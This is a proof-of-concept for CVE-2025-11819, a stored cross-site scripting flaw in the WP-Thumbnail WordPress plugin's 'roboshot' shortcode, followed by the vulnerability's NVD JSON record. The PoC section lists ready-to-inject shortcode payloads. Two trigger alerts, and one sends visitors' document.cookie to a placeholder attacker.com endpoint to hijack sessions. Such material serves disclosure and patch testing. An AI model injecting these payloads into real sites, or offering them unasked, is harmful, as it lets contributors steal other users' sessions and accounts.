CVE-2025-11819

<!-- CVE-2025-11819 PoC - Stored XSS via WP-Thumbnail 'roboshot' shortcode The following shortcode can be injected into a WordPress post/page by an authenticated user with contributor-level access or above. When the page is viewed by any user, the malicious JavaScript will execute. --> <!-- Malicious shortcode injection example --> [roboshot src="" onerror="alert(document.cookie)" other_attr=""><script>alert('XSS-CVE-2025-11819')</script>] <!-- Alternative injection via attribute value --> [roboshot id="><img src=x onerror=alert('CVE-2025-11819-XSS')>" width="100"] <!-- JavaScript payload for session hijacking --> [roboshot src="x" onerror="var i=new Image();i.src='https://attacker.com/steal?c='+document.cookie;">]

{"cve": {"id": "CVE-2025-11819", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:33.770", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-Thumbnail plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'roboshot' shortcode in all versions up to, and including, 1.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-thumbnail/tags/1.1/wp-thumbnail.php#L67", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-thumbnail/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9c641d50-51ac-47ca-beaf-3e79f436e091?source=cve", "source": "[email protected]"}]}}